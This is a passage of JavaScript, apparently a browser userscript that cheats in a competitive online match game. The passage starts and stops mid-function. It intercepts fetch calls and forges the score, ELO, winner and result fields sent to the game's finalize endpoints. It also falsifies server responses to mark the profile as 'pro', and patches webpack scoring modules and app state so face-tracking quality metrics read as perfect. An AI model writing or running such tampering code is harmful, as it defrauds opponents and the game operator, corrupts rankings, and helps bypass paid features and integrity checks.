if (!obj || typeof obj !== 'object') return false;
finalTarget = _clampRaw(finalTarget);
finalFloat = _clampScore(finalFloat);
let patched = false;
for (const [k, v] of Object.entries(obj)) {
const fp = path ? path + '.' + k : k;
if (typeof v === 'object' && v !== null) {
if (_deepPatchScores(v, fp, finalTarget, finalFloat)) patched = true;
} else if (DEEP_SCORE_FIELDS.has(k)) {
if (typeof v === 'number') {
if (v > 1000 || (v > 0 && v < 50)) {
obj[k] = v > 1000 ? finalTarget : finalFloat;
patched = true;
}
} else if (typeof v === 'string' && /^\d+(\.\d+)?$/.test(v)) {
const n = parseFloat(v);
if (n > 1000 || (n > 0 && n < 50)) {
obj[k] = n > 1000 ? String(finalTarget) : String(finalFloat);
patched = true;
}
}
}
}
return patched;
}
function _clampFinalizeScores(obj) {
if (!obj || typeof obj !== 'object') return;
for (const [k, v] of Object.entries(obj)) {
if (typeof v === 'number') {
if (v > 10.0 && v < 100) {
obj[k] = Math.round((Math.random() * 3 + 4) * 10) / 10;
} else if (v > 100000) {
obj[k] = Math.round(Math.random() * 30000 + 50000);
}
} else if (typeof v === 'string' && /^\d+(\.\d+)?$/.test(v)) {
const n = parseFloat(v);
if (n > 10.0 && n < 100) {
obj[k] = String(Math.round((Math.random() * 3 + 4) * 10) / 10);
}
} else if (typeof v === 'object' && v !== null) {
_clampFinalizeScores(v);
}
}
}
let _fetchTraceId = Date.now();
const _origFetchRaw = _window.fetch;
const origFetch = async function(url, options) {
const res = await _origFetchRaw(url, options);
const traceId = _fetchTraceId;
const urlStr = typeof url === 'string' ? url : (url?.url || '');
try {
const clone = res.clone();
const text = await clone.text();
const preview = text.length > 500 ? text.substring(0, 500) + '...' : text;
if (text.includes('score') || text.includes('finalize') || text.includes('p1_score') || text.includes('p2_score') || text.includes('elo')) {
logT('FETCH-RESP', `#${traceId} ${res.status} ${urlStr.substring(0,80)} body=${preview}`);
}
} catch(e) {}
return res;
};
_window.fetch = async function(url, options) {
const urlStr = typeof url === 'string' ? url : (url?.url || '');
const traceId = _fetchTraceId++;
// Trace ALL fetch requests
if (options?.body) {
const bodyStr = typeof options.body === 'string' ? options.body : _dataToString(options.body);
if (bodyStr) {
try {
const body = JSON.parse(bodyStr);
const keys = Object.keys(body).sort().join(',');
const scoreVals = [];
for (const sk of ['score','q','myScore','selfScore','finalScore','overall','elo','e','p','s']) {
if (body[sk] !== undefined) scoreVals.push(`${sk}=${body[sk]}`);
}
logT('FETCH-TRACE', `#${traceId} ${urlStr.substring(0,120)} keys=[${keys}] ${scoreVals.join(' ')}`);
} catch(e) {
logT('FETCH-TRACE', `#${traceId} ${urlStr.substring(0,120)} body=${bodyStr.substring(0,200)}`);
}
}
} else {
logT('FETCH-TRACE', `#${traceId} ${urlStr.substring(0,120)} (no body)`);
}
// Catch-all: patch {p,q} score frames in ANY fetch body
if (options?.body && scoreSpoofAllowed() && !urlStr.includes('/api/match/finalize') && !urlStr.includes('/api/ranked/finalize')) {
try {
const body = JSON.parse(typeof options.body === 'string' ? options.body : _dataToString(options.body));
if (typeof body.p === 'number' && typeof body.q === 'number' && body.q > 0 && !body.type) {
if (_myPlayerIndex === null && (body.p === 0 || body.p === 1)) {
_myPlayerIndex = body.p;
_traceMatch('fetch_pq_myPlayerIndex', { p: body.p });
}
const target = _getTargetScore();
body.q = Math.round(target * 10000) + CONFIG.scoreBoost;
_lastSpoofedScore = target;
spoofPanel();
const fetchBodyStr = _cgjEncode(body);
options = { ...options, body: fetchBodyStr };
logT('FETCH-TRACE', `#${traceId} patched p,q in fetch body (CGJ=on)`);
}
} catch(e) {}
}
// Diagnostic: log all fetch requests with JSON bodies
if (options?.body && typeof options.body === 'string') {
try {
const body = JSON.parse(options.body);
const keys = Object.keys(body).sort().join(',');
const scoreVals = [];
if (body.score !== undefined) scoreVals.push('score='+body.score);
if (body.q !== undefined) scoreVals.push('q='+body.q);
if (body.myScore !== undefined) scoreVals.push('myScore='+body.myScore);
if (body.selfScore !== undefined) scoreVals.push('selfScore='+body.selfScore);
logT('FETCH', `${urlStr.substring(0,100)} keys=[${keys}] ${scoreVals.join(' ')}`);
} catch(e) {}
}
if (urlStr.includes('/api/match/finalize') || urlStr.includes('/api/ranked/finalize')) {
if (options?.body && CONFIG.resultEnabled && !CONFIG.verifBypassActive) {
try {
const body = JSON.parse(options.body);
log('FINALIZE (original):', JSON.stringify(body).substring(0, 500));
const finalTarget = _getFinalTarget();
const finalFloat = finalTarget / 10000;
let patched = false;
const scoreObj = body.u || body.i;
if (scoreObj && scoreObj.e !== undefined) {
const realE = parseInt(scoreObj.e) || 0;
scoreObj.e = String(finalTarget);
if (body.i) _isRanked = true;
log(`[LEGACY] score.e: ${realE} → ${scoreObj.e}`);
patched = true;
}
for (const field of FINALIZE_SCORE_FIELDS) {
if (field in body && body[field] !== undefined) {
if (field === 'opponentScore' || field === 'rivalScore' || field === 'p1_score' || field === 'p2_score') continue;
const old = body[field];
if (field === 'elo' || field === 'eloChange') {
const num = typeof old === 'number' ? old : parseInt(old) || 0;
body[field] = typeof old === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
log(`[ELO+${CONFIG.eloBoost}] ${field}: ${old} → ${body[field]}`);
} else if (typeof old === 'number') {
body[field] = old > 100 ? finalTarget + CONFIG.scoreBoost : finalFloat + (CONFIG.scoreBoost / 10000);
log(`[FLAT] ${field}: ${old} → ${body[field]}`);
} else if (typeof old === 'string') {
body[field] = String(old > '100' ? finalTarget + CONFIG.scoreBoost : finalFloat + (CONFIG.scoreBoost / 10000));
log(`[FLAT STR] ${field}: ${old} → ${body[field]}`);
}
patched = true;
}
}
if (body.settlement?.scores && Array.isArray(body.settlement.scores)) {
const s = body.settlement.scores;
const myIdx = _myPlayerIndex !== null ? _myPlayerIndex : (s[0] >= s[1] ? 0 : 1);
const old = s[myIdx];
s[myIdx] = (old > 100 ? finalTarget : finalFloat) + (old > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[SETTLEMENT] scores[${myIdx}]: ${old} → ${s[myIdx]}`);
patched = true;
}
if (body.hud?.scores && Array.isArray(body.hud.scores)) {
const s = body.hud.scores;
const myIdx = _myPlayerIndex !== null ? _myPlayerIndex : (s[0] >= s[1] ? 0 : 1);
const old = s[myIdx];
s[myIdx] = (old > 100 ? finalTarget : finalFloat) + (old > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[HUD] scores[${myIdx}]: ${old} → ${s[myIdx]}`);
patched = true;
}
// Patch p1/p2 (no underscore): ensure OUR score beats opponent's
if (typeof body.p1 === 'number' && typeof body.p2 === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : 'p1');
const oppKey = ourKey === 'p1' ? 'p2' : 'p1';
const oldOurs = body[ourKey];
const oldOpp = body[oppKey];
const isRaw = oldOurs > 100;
const oppF = oldOpp > 100 ? oldOpp / 10000 : oldOpp;
const baseF = finalTarget / 10000;
const winF = Math.max(baseF, oppF + 0.1);
const oppF2 = Math.max(0, winF - 0.5);
body[ourKey] = isRaw ? Math.round(winF * 10000) : winF;
body[oppKey] = oldOpp > 100 ? Math.round(oppF2 * 10000) : oppF2;
log(`[FINALIZE] ${ourKey}: ${oldOurs} → ${body[ourKey]} (${oppKey}: ${oldOpp} → ${body[oppKey]})`);
patched = true;
}
// Patch p1_score/p2_score: ensure OUR score beats opponent's
if (typeof body.p1_score === 'number' && typeof body.p2_score === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1_score' : (_myPlayerIndex === 1 ? 'p2_score' : (body.p1_score >= body.p2_score ? 'p1_score' : 'p2_score'));
const oppKey = ourKey === 'p1_score' ? 'p2_score' : 'p1_score';
const oldOurs = body[ourKey];
const oldOpp = body[oppKey];
const isRaw = oldOurs > 100;
const oppF = oldOpp > 100 ? oldOpp / 10000 : oldOpp;
const baseF = finalTarget / 10000;
const winF = Math.max(baseF, oppF + 0.1);
const oppF2 = Math.max(0, winF - 0.5);
body[ourKey] = isRaw ? Math.round(winF * 10000) : winF;
body[oppKey] = oldOpp > 100 ? Math.round(oppF2 * 10000) : oppF2;
log(`[FINALIZE] ${ourKey}: ${oldOurs} → ${body[ourKey]} (${oppKey}: ${oldOpp} → ${body[oppKey]})`);
patched = true;
} else if (typeof body.p1_score === 'number') {
const oldV = body.p1_score;
body.p1_score = (oldV > 100 ? finalTarget : finalFloat) + (oldV > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[FINALIZE] p1_score: ${oldV} → ${body.p1_score}`);
patched = true;
} else if (typeof body.p2_score === 'number') {
const oldV = body.p2_score;
body.p2_score = (oldV > 100 ? finalTarget : finalFloat) + (oldV > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[FINALIZE] p2_score: ${oldV} → ${body.p2_score}`);
patched = true;
}
// Override winner/result in request so server sees us winning
if (body.winner !== undefined || body.result !== undefined) {
const origWinner = body.winner;
const origResult = body.result;
body.winner = 'self';
body.result = 'win';
log(`[FINALIZE] winner: ${origWinner} → self, result: ${origResult} → win`);
patched = true;
}
if (!patched) {
log('[FINALIZE] No known score fields found — deep scanning');
_deepPatchScores(body, '', finalTarget + CONFIG.scoreBoost, finalFloat + (CONFIG.scoreBoost / 10000));
}
const finalBodyStr = _cgjEncode(body);
options = { ...options, body: finalBodyStr };
_traceMatch('finalize_request', { body: finalBodyStr.substring(0, 300) });
log('FINALIZE REQUEST (modified, CGJ):', finalBodyStr.substring(0, 500));
} catch(e) {
log('Could not parse finalize body:', e);
}
}
// ELO boost: always apply to finalize requests even if resultEnabled is off
if (CONFIG.eloBoost > 0 && options?.body) {
try {
const ebody = JSON.parse(options.body);
let ePatched = false;
for (const ef of ['elo', 'eloChange', 'e']) {
if (ef in ebody) {
const ev = ebody[ef];
const num = typeof ev === 'number' ? ev : parseInt(ev) || 0;
ebody[ef] = typeof ev === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
log(`[ELO INDEP] ${ef}: ${ev} → ${ebody[ef]}`);
ePatched = true;
}
}
if (ebody.u?.e !== undefined) {
const neu = parseInt(ebody.u.e) || 0;
ebody.u.e = String(neu + CONFIG.eloBoost);
log(`[ELO INDEP] u.e: ${neu} → ${ebody.u.e}`);
ePatched = true;
}
if (ebody.i?.e !== undefined) {
const nei = parseInt(ebody.i.e) || 0;
ebody.i.e = String(nei + CONFIG.eloBoost);
log(`[ELO INDEP] i.e: ${nei} → ${ebody.i.e}`);
ePatched = true;
}
if (ePatched) {
const eStr = _cgjEncode(ebody);
options = { ...options, body: eStr };
}
} catch(e) {}
}
const response = await origFetch.call(this, url, options);
const clone = response.clone();
try {
const data = await clone.json();
log('FINALIZE RESPONSE (original):', JSON.stringify(data).substring(0, 500));
if (response.ok) {
const finalTarget = _getFinalTarget();
const finalFloat = finalTarget / 10000;
let modData = data;
if (typeof data === 'object' && data !== null) {
modData = JSON.parse(JSON.stringify(data));
// Handle p1/p2 independently using _myPlayerIndex to avoid inflating opponent
if (typeof modData.p1 === 'number' && typeof modData.p2 === 'number') {
if (_myPlayerIndex === 0 || _myPlayerIndex === null) {
modData.p1 = finalFloat + (CONFIG.scoreBoost / 10000);
modData.p2 = modData.p2 > 100 ? finalTarget : modData.p2;
} else {
modData.p2 = finalFloat + (CONFIG.scoreBoost / 10000);
modData.p1 = modData.p1 > 100 ? finalTarget : modData.p1;
}
}
if (typeof modData.p1_score === 'number' && typeof modData.p2_score === 'number') {
if (_myPlayerIndex === 0 || _myPlayerIndex === null) {
modData.p1_score = finalFloat + (CONFIG.scoreBoost / 10000);
} else {
modData.p2_score = finalFloat + (CONFIG.scoreBoost / 10000);
}
}
for (const field of FINALIZE_SCORE_FIELDS) {
if (field in modData && modData[field] !== undefined) {
if (field === 'opponentScore' || field === 'rivalScore' || field === 'p1_score' || field === 'p2_score' || field === 'p1' || field === 'p2') continue;
const old = modData[field];
if (field === 'elo' || field === 'eloChange') {
const num = typeof old === 'number' ? old : parseInt(old) || 0;
// Always report positive ELO gain
const absNum = Math.abs(num);
const boosted = absNum + CONFIG.eloBoost;
modData[field] = typeof old === 'number' ? boosted : String(boosted);
log(`[ELO FORCED] ${field}: ${num} → ${boosted} (forced positive)`);
} else if (typeof old === 'number') {
modData[field] = old > 100 ? finalTarget + CONFIG.scoreBoost : finalFloat + (CONFIG.scoreBoost / 10000);
} else if (typeof old === 'string') {
modData[field] = String(old > '100' ? finalTarget + CONFIG.scoreBoost : finalFloat + (CONFIG.scoreBoost / 10000));
}
}
}
// Force winner/result fields to show us winning
if (typeof modData.winner === 'string') { modData.winner = 'self'; }
if (typeof modData.result === 'string') { modData.result = 'win'; }
_traceMatch('finalize_response', { status: response.status, body: JSON.stringify(modData).substring(0, 300) });
log('FINALIZE RESPONSE (modified):', JSON.stringify(modData).substring(0, 500));
}
_lockedFinalTarget = null;
_finalApplied = false;
_matchStartTime = null;
_finalScoreAppliedThisMatch = false;
_myPlayerIndex = null;
_cacheValid = false;
_cachedScoreSpan = null;
const newHeaders = new Headers(response.headers);
newHeaders.delete('content-length');
return new Response(JSON.stringify(modData), {
status: response.status,
statusText: response.statusText,
headers: newHeaders
});
}
} catch(e) {
log('FINALIZE RESPONSE parse error:', e);
}
return response;
}
const BOOSTED_STATS = { is_pro: true };
if (urlStr.includes('supabase.co/rest/v1/profiles')) {
const response = await origFetch.call(this, url, options);
const clone = response.clone();
try {
const data = await clone.json();
if (Array.isArray(data) && data.length > 0) {
const modified = data.map(profile => ({ ...profile, ...BOOSTED_STATS }));
const newHeaders = new Headers(response.headers);
newHeaders.set('content-type', 'application/json');
return new Response(JSON.stringify(modified), {
status: response.status,
statusText: response.statusText,
headers: newHeaders
});
}
} catch(e) {}
return response;
}
if (urlStr.includes('/api/profiles/public/')) {
const response = await origFetch.call(this, url, options);
const clone = response.clone();
try {
const data = await clone.json();
if (data && data.profile) {
const modified = {
...data,
profile: { ...data.profile, is_pro: true }
};
return new Response(JSON.stringify(modified), {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
}
} catch(e) {}
return response;
}
if (urlStr.includes('/api/profile/ranked-stats')) {
const response = await origFetch.call(this, url, options);
return response;
}
if (urlStr.includes('/api/profile/world-rank')) {
const response = await origFetch.call(this, url, options);
return response;
}
if (urlStr.includes('/api/profile/lobby-summary')) {
const response = await origFetch.call(this, url, options);
const clone = response.clone();
try {
const data = await clone.json();
if (data && typeof data === 'object') {
const modified = { ...data, is_pro: true };
return new Response(JSON.stringify(modified), {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
}
} catch(e) {}
return response;
}
if (urlStr === '/api/profile' || urlStr.endsWith('/api/profile')) {
const response = await origFetch.call(this, url, options);
const clone = response.clone();
try {
const data = await clone.json();
if (data && data.profile) {
_currentUsername = data.profile.displayName || data.profile.username || data.profile.nickname || _currentUsername;
const modified = {
...data,
profile: { ...data.profile, is_pro: true }
};
return new Response(JSON.stringify(modified), {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
}
} catch(e) {}
return response;
}
// ── Catch-all: patch ANY JSON response containing score fields ──
if (scoreSpoofAllowed()) {
const response = await origFetch.call(this, url, options);
const contentType = response.headers?.get('content-type') || '';
if (contentType.includes('json') || urlStr.includes('/api/')) {
const clone = response.clone();
try {
let data = await clone.json();
let patched = false;
if (data && typeof data === 'object') {
data = JSON.parse(JSON.stringify(data));
const t = _getTargetScore();
patched = _deepPatchScores(data, '', t * 10000 + CONFIG.scoreBoost, t + CONFIG.scoreBoost / 10000);
}
if (patched) {
const newHeaders = new Headers(response.headers);
newHeaders.delete('content-length');
log(`[FETCH CATCH-ALL] patched response: ${urlStr.substring(0,100)}`);
return new Response(JSON.stringify(data), {
status: response.status,
statusText: response.statusText,
headers: newHeaders
});
}
} catch(e) {}
}
return response;
}
return origFetch.call(this, url, options);
};
let _lockedFinalTarget = null;
let _lastFinalMode = null;
let _lastFinalMin = null, _lastFinalMax = null;
let _finalApplied = false;
function _sanitizeScore(val) {
if (typeof val !== 'number' || !isFinite(val) || val < 0) return null;
if (val > 500000) return null;
return val;
}
function _getFinalTarget() {
if (CONFIG.finalScoreMode === 'fixed') {
const v = parseInt(CONFIG.myFinalScore);
if (isFinite(v) && v > 0 && v < 500000) return v;
return parseInt(DEFAULT_CONFIG.myFinalScore) || 99999;
}
// range mode
const min = _sanitizeScore(CONFIG.finalScoreRangeMin) ?? DEFAULT_CONFIG.finalScoreRangeMin;
const max = _sanitizeScore(CONFIG.finalScoreRangeMax) ?? DEFAULT_CONFIG.finalScoreRangeMax;
if (_lockedFinalTarget === null || _lastFinalMode !== CONFIG.finalScoreMode || _lastFinalMin !== min || _lastFinalMax !== max) {
_finalApplied = false;
_lastFinalMode = CONFIG.finalScoreMode;
_lastFinalMin = min;
_lastFinalMax = max;
_lockedFinalTarget = Math.round(min + Math.random() * (max - min));
log(`_getFinalTarget locked: ${_lockedFinalTarget} (range ${min}-${max})`);
}
return _clampRaw(_lockedFinalTarget);
}
const _STORE_NAMES = ['T', 'default', 'store', 'Zustand', 'useStore', 'Store', '_zustand', 'useGameStore', 'gameStore', 'matchStore', 'appStore'];
function _isZustandStore(val) {
if (!val || typeof val.getState !== 'function') return false;
try {
const s = val.getState();
if (!s || typeof s !== 'object') return false;
if (typeof s.setMyScore === 'function' ||
typeof s.setLiveScores === 'function' ||
typeof s.setFinalPayloads === 'function' ||
typeof s.setActiveMatchId === 'function' ||
typeof s.applyFinalScores === 'function' ||
typeof s.setIsTournamentMatch === 'function' ||
typeof s.setRankedResult === 'function' ||
typeof s.setFrameNonce === 'function' ||
typeof s.forceFinishIfCalculating === 'function' ||
typeof s.myScore !== 'undefined' ||
typeof s.myScoreRaw !== 'undefined') return true;
let hasNumber = false;
let hasFunc = false;
for (const v of Object.values(s)) {
if (typeof v === 'number' && v >= 0 && v <= 12) hasNumber = true;
if (typeof v === 'function') hasFunc = true;
}
return hasNumber && hasFunc && Object.keys(s).length > 5;
} catch(e) { return false; }
}
function _isZustandStoreLoose(val) {
if (!val || typeof val.getState !== 'function') return false;
try {
const s = val.getState();
if (!s || typeof s !== 'object') return false;
const keys = Object.keys(s);
return keys.length > 5 && typeof s.set === 'function';
} catch(e) { return false; }
}
function _findStoreInMod(mod) {
if (!mod || typeof mod !== 'object') return null;
if (_isZustandStore(mod)) return mod;
for (const name of _STORE_NAMES) {
try {
const val = mod[name];
if (_isZustandStore(val)) return val;
} catch(e) {}
}
for (const val of Object.values(mod)) {
if (_isZustandStore(val)) return val;
}
return null;
}
function _findStoreDeep(obj, depth, visited) {
if (depth > 4 || !obj || typeof obj !== 'object' || visited.has(obj)) return null;
visited.add(obj);
try {
if (_isZustandStore(obj)) return obj;
if (typeof obj.getState === 'function' && typeof obj.setState === 'function') {
const s = obj.getState();
if (s && typeof s === 'object' && Object.keys(s).length > 10) return obj;
}
} catch(e) {}
try {
for (const val of Object.values(obj)) {
const found = _findStoreDeep(val, depth + 1, visited);
if (found) return found;
}
} catch(e) {}
return null;
}
let _storeRef = null;
let _patchPollCount = 0;
function _tryGetWebpackRequire() {
const chunkNames = [
'webpackChunk_N_E', 'webpackChunknextjs_app', 'webpackChunk',
'webpackJsonp', 'webpackChunks'
];
for (const name of chunkNames) {
try {
const chunk = _window[name];
if (!chunk || !Array.isArray(chunk)) continue;
const req = chunk.push([[Symbol()], {}, e => e]);
if (typeof req === 'function') {
log(`[STORE] webpack require obtained from "${name}"`);
return req;
}
} catch(e) {}
}
return null;
}
function _tryScanWebpack(req) {
if (!req) return null;
let store = null;
if (req.m) {
const moduleIds = Object.keys(req.m);
log(`[STORE] scanning ${moduleIds.length} webpack modules...`);
for (const id of moduleIds) {
try {
const mod = req(id);
const found = _findStoreInMod(mod);
if (found) {
log(`[STORE] found via webpack module scan id=${id}`);
return found;
}
} catch(e) {}
}
}
return null;
}
// ── LiveKit Room detection via webpack module scan ──
let _lkRoomClass = null;
function _isRoomClassProto(proto) {
if (!proto || typeof proto !== 'object') return false;
const descs = Object.getOwnPropertyDescriptors(proto);
let hasConnect = false, hasDisconnect = false, hasState = false, hasLocalPart = false;
for (const [k, d] of Object.entries(descs)) {
if (k === 'connect' && typeof d.value === 'function') hasConnect = true;
if (k === 'disconnect' && typeof d.value === 'function') hasDisconnect = true;
if (k === 'state' && (d.get || typeof d.value === 'string')) hasState = true;
if (k === 'localParticipant' && d.get) hasLocalPart = true;
}
return hasConnect && hasDisconnect && hasState && hasLocalPart;
}
function _findRoomInMod(mod) {
if (!mod || typeof mod !== 'object') return null;
for (const val of Object.values(mod)) {
if (typeof val === 'function' && val.prototype && _isRoomClassProto(val.prototype)) {
return val;
}
}
return null;
}
function _tryScanWebpackForRoom(req) {
if (!req || !req.m) return false;
const ids = Object.keys(req.m);
for (const id of ids) {
try {
const mod = req(id);
const cls = _findRoomInMod(mod);
if (cls) {
_lkRoomClass = cls;
log(`[LK] Room class found via webpack module ${id}`);
return true;
}
} catch(e) {}
}
return false;
}
// ── Webpack scoring module detection & patching (VA/cv/cM) ──
let _scoringPatched = false;
function _isScoringModule(mod) {
return !!mod && typeof mod.VA === 'function' && typeof mod.cv === 'function' && typeof mod.cM === 'function';
}
function _patchScoringModule(mod) {
if (mod.__cmScoringPatched) return;
mod.__cmScoringPatched = true;
const origVA = mod.VA;
mod.VA = function() {
const result = origVA.apply(this, arguments);
const score = _getTargetScore();
if (score === null || !result || !scoreSpoofAllowed()) return result;
try {
result.overall = score;
if (Array.isArray(result.traits)) {
result.traits = result.traits.map(function(t) { return Object.assign({}, t, { score: score }); });
}
if (result.rawMetrics) result.rawMetrics.overall = score;
if (result.quality) {
result.quality.reliability = 1.0;
result.quality.confidence = 1.0;
result.quality.accepted = true;
}
} catch(e) {}
return result;
};
const origCV = mod.cv;
mod.cv = function() {
const result = origCV.apply(this, arguments);
const score = _getTargetScore();
if (score === null || !result || !scoreSpoofAllowed()) return result;
try { result.overall = score; if (result.rawMetrics) result.rawMetrics.overall = score; } catch(e) {}
return result;
};
const origCM = mod.cM;
mod.cM = function() {
const result = origCM.apply(this, arguments);
if (!scoreSpoofAllowed() || !result) return result;
try { result.reliability = 1.0; result.confidence = 1.0; result.accepted = true; } catch(e) {}
return result;
};
_scoringPatched = true;
log('[SCORE] Webpack scoring module patched (VA/cv/cM)');
}
function _tryScanWebpackForScoring(req) {
if (!req || !req.m) return false;
for (const id of Object.keys(req.m)) {
try {
const mod = req(id);
if (_isScoringModule(mod)) {
_patchScoringModule(mod);
log(`[SCORE] Scoring module found via webpack module ${id}`);
return true;
}
} catch(e) {}
}
return false;
}
// ── Find Room in store state (some apps store room ref in zustand) ──
function _findRoomInState(state, depth) {
if (!state || typeof state !== 'object' || depth > 6) return null;
try {
if (typeof state.connect === 'function' && state.localParticipant) {
return state;
}
} catch(e) {}
for (const v of Object.values(state)) {
if (v && typeof v === 'object' && !Array.isArray(v)) {
const found = _findRoomInState(v, depth + 1);
if (found) return found;
}
}
return null;
}
function _tryScanGlobalObjects() {
const globals = [
'__NEXT_DATA__', 'next', '__NEXT_STATE__',
'__remixContext', '__remixRouteModules',
'appState', 'gameState', 'matchState', 'T'
];
for (const name of globals) {
try {
const obj = _window[name];
if (!obj) continue;
const visited = new WeakSet();
const found = _findStoreDeep(obj, 0, visited);
if (found) {
log(`[STORE] found via global "${name}"`);
return found;
}
} catch(e) {}
}
// Broad scan: check all enumerable window properties for zustand stores
try {
const visited = new WeakSet();
for (const key of Object.keys(_window)) {
if (key.startsWith('_') || key === 'chrome' || typeof _window[key] !== 'object' || !_window[key]) continue;
try {
if (_isZustandStore(_window[key])) {
log(`[STORE] found via broad window scan at key "${key}"`);
return _window[key];
}
} catch(e) {}
}
} catch(e) {}
return null;
}
function _tryScanReactRoots() {
try {
const rootEl = document.getElementById('__next') || document.getElementById('root') || document.getElementById('app');
if (!rootEl) return null;
const fiberKey = Object.keys(rootEl).find(k => k.startsWith('__reactFiber$') || k.startsWith('__reactInternalInstance$'));
if (!fiberKey) return null;
let fiber = rootEl[fiberKey];
const visited = new Set();
let depth = 0;
while (fiber && depth < 200) {
if (visited.has(fiber)) { fiber = fiber.child || fiber.sibling; depth++; continue; }
visited.add(fiber);
try {
if (fiber.memoizedState && fiber.memoizedState.memoizedState) {
let hook = fiber.memoizedState;
let safety = 0;
while (hook && safety < 20) {
const q = hook.queue;
if (q && q.lastRenderedState && typeof q.lastRenderedState === 'object') {
const st = q.lastRenderedState;
if (typeof st.setMyScore === 'function' || typeof st.applyFinalScores === 'function') {
log(`[STORE] found via React fiber at depth ${depth}`);
return {
getState: () => st,
setState: (partial) => {
const next = typeof partial === 'function' ? partial(st) : partial;
Object.assign(st, next);
}
};
}
}
hook = hook.next;
safety++;
}
}
} catch(e) {}
fiber = fiber.child || fiber.sibling || (fiber.return && fiber.return.sibling);
depth++;
}
} catch(e) {}
return null;
}
function patchZustandStore() {
// Direct check: is the store at _window.T?
if (!_storeRef) {
try {
if (typeof _window.T !== 'undefined' && _window.T && typeof _window.T.getState === 'function') {
if (_isZustandStore(_window.T)) {
_storeRef = _window.T;
log('[STORE] found at _window.T (direct check)');
}
}
} catch(e) {}
}
if (_storeRef) {
try {
const s = _storeRef.getState();
if (s && typeof s === 'object' && typeof s.setMyScore === 'function') {
if (!_storeRef.__cmStorePatched) patchStore(_storeRef);
// Try to find Room via store state and webpack
const room = _findRoomInState(s, 0);
if (room) {
log('[LK] Room found in store state, hooking');
setTimeout(() => _hookLiveKitRoom(room), 0);
}
if (!_lkProtoHooked) {
setTimeout(() => _hookRoomClassPrototype(), 100);
}
return true;
}
} catch(e) { _storeRef = null; }
}
try {
const req = _tryGetWebpackRequire();
if (req) {
const store = _tryScanWebpack(req);
if (store) { _storeRef = store; return patchStore(store); }
}
} catch(e) { log('[STORE] webpack scan failed:', e); }
try {
const store = _tryScanGlobalObjects();
if (store) { _storeRef = store; return patchStore(store); }
} catch(e) { log('[STORE] global scan failed:', e); }
try {
const store = _tryScanReactRoots();
if (store) { _storeRef = store; return patchStore(store); }
} catch(e) { log('[STORE] React fiber scan failed:', e); }
_patchPollCount++;
if (_patchPollCount % 25 === 0) {
log(`[STORE] still searching... attempt ${_patchPollCount}`);
_attachStoreWatcher();
}
return false;
}
let _storeWatcherAttached = false;
function _attachStoreWatcher() {
if (_storeWatcherAttached) return;
_storeWatcherAttached = true;
try {
const origSetItem = Storage.prototype.setItem;
Storage.prototype.setItem = function(key, value) {
origSetItem.call(this, key, value);
if (key === CONFIG_KEY) return;
try {
if (!_storeRef) {
setTimeout(() => { try { patchZustandStore(); } catch(e) {} }, 50);
}
} catch(e) {}
};
} catch(e) {}
try {
const origFetch2 = _window.fetch;
_window.fetch = async function(...args) {
const resp = await origFetch2.apply(this, args);
if (!_storeRef) {
setTimeout(() => { try { patchZustandStore(); } catch(e) {} }, 100);
}
return resp;
};
} catch(e) {}
try {
const origXHR = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(...args) {
const result = origXHR.apply(this, args);
if (!_storeRef) {
setTimeout(() => { try { patchZustandStore(); } catch(e) {} }, 100);
}
return result;
};
} catch(e) {}
try {
if (typeof MutationObserver !== 'undefined') {
const obs = new MutationObserver(() => {
if (!_storeRef) {
try { patchZustandStore(); } catch(e) {}
}
});
obs.observe(document.body || document.documentElement, { childList: true, subtree: true });
setTimeout(() => obs.disconnect(), 30000);
}
} catch(e) {}
log('[STORE] store watcher attached — will retry on any activity');
}
let patchAttempts = 0;
const patchPoll = setInterval(() => {
patchAttempts++;
if (patchZustandStore()) {
clearInterval(patchPoll);
log(`[STORE] patched after ${patchAttempts} attempts`);
} else if (patchAttempts % 25 === 0) {
log(`[STORE] still looking... attempt ${patchAttempts}`);
}
}, 300);
// Brute-force store state patcher: periodically directly modifies the store state values
// This works even if the setter hooks don't fire (e.g., if the game bypasses the store)
setInterval(() => {
try {
if (!CONFIG || !scoreSpoofAllowed()) return;
const store = _storeRef || _window.T;
if (!store || typeof store.getState !== 'function') return;
const state = store.getState();
if (!state || typeof state !== 'object') return;
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
const newFloat = target + (CONFIG.scoreBoost / 10000);
const patch = {};
let changed = false;
// Top-level score fields
if (typeof state.myScore === 'number' && state.myScore !== target) { patch.myScore = target; changed = true; }
if (typeof state.myScoreRaw === 'number' && state.myScoreRaw !== raw) { patch.myScoreRaw = raw; changed = true; }
if (typeof state.score === 'number' && state.score !== target) { patch.score = target; changed = true; }
if (typeof state.overall === 'number' && state.overall !== target) { patch.overall = target; changed = true; }
if (typeof state.selfScore === 'number' && state.selfScore !== target) { patch.selfScore = target; changed = true; }
if (typeof state.selfScoreRaw === 'number' && state.selfScoreRaw !== raw) { patch.selfScoreRaw = raw; changed = true; }
if (typeof state.your_score === 'number' && state.your_score !== target) { patch.your_score = target; changed = true; }
if (typeof state.yourScore === 'number' && state.yourScore !== target) { patch.yourScore = target; changed = true; }
if (typeof state.finalScore === 'number' && state.finalScore !== target) { patch.finalScore = target; changed = true; }
// Quality metric keys (in [0,1] range, must inflate to 1.0 not target score)
const _cmQualityKeys = new Set(['looking', 'attention', 'smile', 'smiling', 'mouthOpen', 'quality', 'confidence', 'readiness', 'engagement', 'focus', 'eyeContact', 'faceQuality', 'trackingQuality', 'detectionQuality']);
// Inflate top-level quality metrics to 1.0 (not target score)
for (const qk of _cmQualityKeys) {
if (typeof state[qk] === 'number' && state[qk] >= 0 && state[qk] <= 1 && state[qk] !== 1) {
patch[qk] = 1.0; changed = true;
}
}
function _patchNested(obj) {
if (!obj || typeof obj !== 'object') return false;
let mod = false;
for (const [k, v] of Object.entries(obj)) {
